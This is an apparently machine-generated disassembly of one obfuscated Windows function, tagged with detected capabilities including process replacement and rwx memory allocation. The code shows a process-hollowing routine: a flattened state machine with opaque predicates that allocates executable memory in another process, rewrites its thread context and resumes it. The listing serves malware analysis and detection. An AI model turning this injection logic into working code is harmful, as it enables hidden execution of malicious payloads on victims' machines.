Function at 0x10002340
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inspect section memory permissions
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x194
mov eax, dword [0x100d4800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x19c], 0xa2ae8b1d
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1a0], eax
sub eax, 0x81ae75f9
je 0x1000541a
jmp 0x1000237c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x81e0838d
je 0x10004ebd
jmp 0x10002392
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8216c38f
je 0x10004d09
jmp 0x100023a8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x82ab913f
je 0x10005946
jmp 0x100023be
mov eax, dword [ebp - 0x1a0]
sub eax, 0x833cd34b
je 0x10004e59
jmp 0x100023d4
mov eax, dword [ebp - 0x1a0]
sub eax, 0x83aa3dc2
je 0x100034ea
jmp 0x100023ea
mov eax, dword [ebp - 0x1a0]
sub eax, 0x83f40d0e
je 0x10004cfa
jmp 0x10002400
mov eax, dword [ebp - 0x1a0]
sub eax, 0x84a450d7
je 0x100039fa
jmp 0x10002416
mov eax, dword [ebp - 0x1a0]
sub eax, 0x84f557ea
je 0x10003685
jmp 0x1000242c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x851d6d5a
je 0x1000415d
jmp 0x10002442
mov eax, dword [ebp - 0x1a0]
sub eax, 0x873c8b35
je 0x10004739
jmp 0x10002458
mov eax, dword [ebp - 0x1a0]
sub eax, 0x882de468
je 0x10003733
jmp 0x1000246e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x888d5966
je 0x100057b2
jmp 0x10002484
mov eax, dword [ebp - 0x1a0]
sub eax, 0x88b26ef1
je 0x10004b36
jmp 0x1000249a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x88f5ba42
je 0x10005040
jmp 0x100024b0
mov eax, dword [ebp - 0x1a0]
sub eax, 0x895be912
je 0x1000408d
jmp 0x100024c6
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8a383bfb
je 0x100059a4
jmp 0x100024dc
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8c1861ee
je 0x100034ba
jmp 0x100024f2
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8eb2d621
je 0x10004c9a
jmp 0x10002508
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8f459c1c
je 0x10005856
jmp 0x1000251e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x92b197c4
je 0x10004cdf
jmp 0x10002534
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9465124b
je 0x10004a9c
jmp 0x1000254a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x94674823
je 0x100049ab
jmp 0x10002560
mov eax, dword [ebp - 0x1a0]
sub eax, 0x95835d4e
je 0x10004b27
jmp 0x10002576
mov eax, dword [ebp - 0x1a0]
sub eax, 0x970eb2e3
je 0x10003dd1
jmp 0x1000258c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9b111852
je 0x100056ee
jmp 0x100025a2
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9e780419
je 0x10004187
jmp 0x100025b8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9f29c2d7
je 0x1000339e
jmp 0x100025ce
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa1766262
je 0x1000510c
jmp 0x100025e4
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa2ae8b1d
je 0x100031db
jmp 0x100025fa
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa39d1b26
je 0x100059c8
jmp 0x10002610
mov eax, dword [ebp - 0x1a0]
sub eax, 0xab0550d2
je 0x100042de
jmp 0x10002626
mov eax, dword [ebp - 0x1a0]
sub eax, 0xab7f32ef
je 0x10004304
jmp 0x1000263c
mov eax, dword [ebp - 0x1a0]
sub eax, 0xac2efcd7
je 0x10004b51
jmp 0x10002652
mov eax, dword [ebp - 0x1a0]
sub eax, 0xad287724
je 0x100058db
jmp 0x10002668
mov eax, dword [ebp - 0x1a0]
sub eax, 0xad3bc688
je 0x10004aab
jmp 0x1000267e
mov eax, dword [ebp - 0x1a0]
sub eax, 0xae526907
je 0x10004267
jmp 0x10002694
mov eax, dword [ebp - 0x1a0]
sub eax, 0xae908039
je 0x1000414e
jmp 0x100026aa
mov eax, dword [ebp - 0x1a0]
sub eax, 0xaee8c316
je 0x100055f4
jmp 0x100026c0
mov eax, dword [ebp - 0x1a0]
sub eax, 0xafddf45e
je 0x10004325
jmp 0x100026d6
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb02c29ea
je 0x100052a8
jmp 0x100026ec
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb05efb8b
je 0x10005398
jmp 0x10002702
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb2294ec3
je 0x10005254
jmp 0x10002718
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb340ce93
je 0x10004288
jmp 0x1000272e
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb6a46c85
je 0x10004c2e
jmp 0x10002744
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb7a0a70e
je 0x10004fda
jmp 0x1000275a
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb8bb1bd3
je 0x10004538
jmp 0x10002770
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbb923eda
je 0x10003c7c
jmp 0x10002786
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbc399cba
je 0x100050fd
jmp 0x1000279c
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbdb2abcd
je 0x100055e5
jmp 0x100027b2
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc01f7fbe
je 0x100037c0
jmp 0x100027c8
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc135f808
je 0x1000333a
jmp 0x100027de
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc150b37f
je 0x100054a2
jmp 0x100027f4
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc2e1292d
je 0x10004fe9
jmp 0x1000280a
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc3e6affc
je 0x10004b60
jmp 0x10002820
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc6fdb4e6
je 0x1000576a
jmp 0x10002836
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc7a9be7c
je 0x10005459
jmp 0x1000284c
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc8ce34b8
je 0x10003ab9
jmp 0x10002862
mov eax, dword [ebp - 0x1a0]
sub eax, 0xcc0d36b2
je 0x1000512a
jmp 0x10002878
mov eax, dword [ebp - 0x1a0]
sub eax, 0xce133cb6
je 0x10003c55
jmp 0x1000288e
mov eax, dword [ebp - 0x1a0]
sub eax, 0xcfeb9b81
je 0x10004c7d
jmp 0x100028a4
mov eax, dword [ebp - 0x1a0]
sub eax, 0xd09e9c9d
je 0x10004806
jmp 0x100028ba
mov eax, dword [ebp - 0x1a0]
sub eax, 0xd17b6a20
je 0x10003b60
jmp 0x100028d0
mov eax, dword [ebp - 0x1a0]
sub eax, 0xd1a2ad9c
je 0x10004909
jmp 0x100028e6
mov eax, dword [ebp - 0x1a0]
sub eax, 0xd2fad768
je 0x10005603
push eax
mov eax, esp
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x19c], 0x5c83c442
jmp 0x10005a43
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x140], eax
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x22174b1f
mov ecx, 0xec68f43a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x151ff7d1
mov ecx, 0x985d9fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov dword [ebp - 0x19c], 0x7112794c
jmp 0x10005a43
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10006c20
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10006c20
add esp, 0xc
mov eax, dword [ebp - 0x188]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x19c], 0x17328739
jmp 0x10005a43
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
add edx, 0xffa848ab
sub edx, 1
sub edx, 0xffa848ab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x39bfb222
mov ecx, 0xdf6c0405
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov dword [ebp - 0x19c], 0xecdc8adf
jmp 0x10005a43
mov edx, dword [ebp - 0x130]
mov eax, 0xaee8c316
mov ecx, 0x5764dbf8
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov dl, byte [ebp - 0x125]
mov eax, 0xc7a9be7c
mov ecx, 0x7d9518b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x11c]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe59a7d38
mov ecx, 0xd17b6a20
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov dword [ebp - 0x19c], 0x53439ec3
jmp 0x10005a43
mov dword [ebp - 0x19c], 0xa037239
jmp 0x10005a43
mov edx, dword [ebp - 0x114]
mov eax, 0xd4bf92d1
mov ecx, 0x53439ec3
cmp edx, 0
cmovbe eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x108], eax
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
add edx, 0xf42c967e
sub edx, 1
sub edx, 0xf42c967e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x888d5966
mov ecx, 0xdab9e297
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov dl, byte [ebp - 0xf1]
mov eax, 0xae908039
mov ecx, 0x31b9e70b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov dword [ebp - 0x19c], 0x851d6d5a
jmp 0x10005a43
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
sub eax, 0xd143703a
add eax, 1
add eax, 0xd143703a
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x19c], 0x9e780419
jmp 0x10005a43
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0xe0]
mov dword [eax], ecx
mov dword [ebp - 0x19c], 0xd584676
jmp 0x10005a43
mov dl, byte [ebp - 0xd7]
mov eax, 0x88b26ef1
mov ecx, 0xb340ce93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x188]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0xd6], al
mov dword [ebp - 0x19c], 0x4f33888e
jmp 0x10005a43
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0xd5], al
mov dword [ebp - 0x19c], 0xab7f32ef
jmp 0x10005a43
mov dl, byte [ebp - 0xd5]
mov eax, 0x95835d4e
mov ecx, 0xafddf45e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
mov edx, ecx
sub edx, 0xe8494d6b
sub edx, 1
add edx, 0xe8494d6b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1ffc0a02
mov ecx, 0x456b5123
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov dword [ebp - 0x19c], 0x4b4f644
jmp 0x10005a43
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov edx, dword [ebp - 0x15c]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
sub ecx, 0x2475e280
add ecx, eax
add ecx, 0x2475e280
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0xc4], eax
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
sub edx, 0xb3e14aa6
sub edx, 1
add edx, 0xb3e14aa6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xad287724
mov ecx, 0x2cd64f31
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
add edx, 0x649264f0
sub edx, 1
sub edx, 0x649264f0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x82ab913f
mov ecx, 0x20f47703
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x19c], 0xa8c2bc5
jmp 0x10005a43
mov dword [ebp - 0x19c], 0x518308f3
jmp 0x10005a43
mov dword [ebp - 0x19c], 0xad3bc688
jmp 0x10005a43
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0xb4]
mov dword [eax], ecx
mov dword [ebp - 0x19c], 0x4b4f644
jmp 0x10005a43
mov dword [ebp - 0x19c], 0x88b26ef1
jmp 0x10005a43
mov eax, dword [ebp - 0x14c]
mov dword [eax], 0
mov dword [ebp - 0x19c], 0xac2efcd7
jmp 0x10005a43
mov dword [ebp - 0x19c], 0xc3e6affc
jmp 0x10005a43
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x19c], 0x27ffb071
jmp 0x10005a43
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x80000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x19c], 0x4f44819e
jmp 0x10005a43
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x19c], 0x8eb2d621
jmp 0x10005a43
mov edx, dword [ebp - 0x98]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x20000000
mov eax, 0xffffffff
xor eax, 0x71e9b7b1
or edx, ecx
or eax, 0x71e9b7b1
xor edx, 0xffffffff
and edx, eax
mov eax, 0x8216c38f
mov ecx, 0x92b197c4
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov eax, dword [ebp - 0x148]
mov dword [eax], 0x40
mov dword [ebp - 0x19c], 0x83f40d0e
jmp 0x10005a43
mov dword [ebp - 0x19c], 0x4b902994
jmp 0x10005a43
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
mov edx, ecx
sub edx, 0xbd620ee6
sub edx, 1
add edx, 0xbd620ee6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8a383bfb
mov ecx, 0x1395b52e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80000000
mov ecx, 0xffffffff
xor ecx, 0x9b1c75f6
or eax, edx
or ecx, 0x9b1c75f6
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x19c], 0xe277d191
jmp 0x10005a43
mov eax, dword [ebp - 0x148]
mov dword [eax], 4
mov dword [ebp - 0x19c], 0x19ba9d42
jmp 0x10005a43
mov dword [ebp - 0x19c], 0xe6ea071f
jmp 0x10005a43
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x89], al
mov dword [ebp - 0x19c], 0x6d6a6fcc
jmp 0x10005a43
mov eax, dword [ebp - 0x148]
mov dword [eax], 2
mov dword [ebp - 0x19c], 0x359b7029
jmp 0x10005a43
mov dword [ebp - 0x19c], 0xa1766262
jmp 0x10005a43
mov dword [ebp - 0x19c], 0xe6ea071f
jmp 0x10005a43
mov dword [ebp - 0x19c], 0x4b902994
jmp 0x10005a43
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa39d1b26
mov ecx, 0xb02c29ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov dword [ebp - 0x19c], 0xdb4710a1
jmp 0x10005a43
mov dword [ebp - 0x19c], 0xc3e6affc
jmp 0x10005a43
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x70]
mov dword [eax], ecx
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x19c], 0xc7a9be7c
jmp 0x10005a43
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a4f8100
mov ecx, 0xc150b37f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c], eax
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6a4f8100
mov ecx, 0x49bcd922
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x10005a43
mov dword [ebp - 0x19c], 0xaee8c316
jmp 0x10005a43
mov dword [ebp - 0x19c], 0xd2fad768
jmp 0x10005a43
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x19c], 0x7afe56ee
jmp 0x10005a43
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x19c], 0xe9fea9ef
jmp 0x10005a43
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x19c], 0x970eb2e3
jmp 0x10005a43
mov eax, dword [ebp - 0x188]
mov eax, dword [eax + 0x34]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd4]
sub ecx, 0x15e6d52a
sub ecx, eax
add ecx, 0x15e6d52a
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov dword [eax], 0
mov dword [ebp - 0x19c], 0xb1d8bc3
jmp 0x10005a43
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov eax, dword [eax]
add ecx, 0xc350d1b8
add ecx, eax
sub ecx, 0xc350d1b8
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov edx, dword [ebp - 0x15c]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
sub ecx, 0x1734ba20
add ecx, eax
add ecx, 0x1734ba20
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x19c], 0x873c8b35
jmp 0x10005a43
mov eax, dword [ebp - 0xc4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0xc8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x19c], 0x20f47703
jmp 0x10005a43
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x19c], 0x1395b52e
jmp 0x10005a43
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x19c], 0xb2294ec3
jmp 0x10005a43
jmp 0x10002360